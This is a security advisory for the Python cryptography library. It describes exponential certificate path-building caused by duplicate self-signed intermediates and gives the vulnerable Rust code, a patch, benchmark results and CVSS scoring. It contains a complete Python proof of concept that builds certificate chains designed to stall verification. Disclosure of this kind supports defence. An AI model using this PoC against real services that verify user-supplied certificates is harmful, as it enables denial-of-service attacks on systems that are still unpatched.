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python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

High severity GitHub Reviewed Published Jul 31, 2026 in pyca/cryptography

Package

pip cryptography (pip)

Affected versions

<= 48.0.0

Patched versions

49.0.0

Description

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829

PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)

Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

References

@alex alex published to pyca/cryptography Jul 31, 2026
Published to the GitHub Advisory Database Aug 3, 2026
Reviewed Aug 3, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(9th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

CVE ID

CVE-2026-69249

GHSA ID

GHSA-jwv3-5hgf-82ww

Source code

Credits

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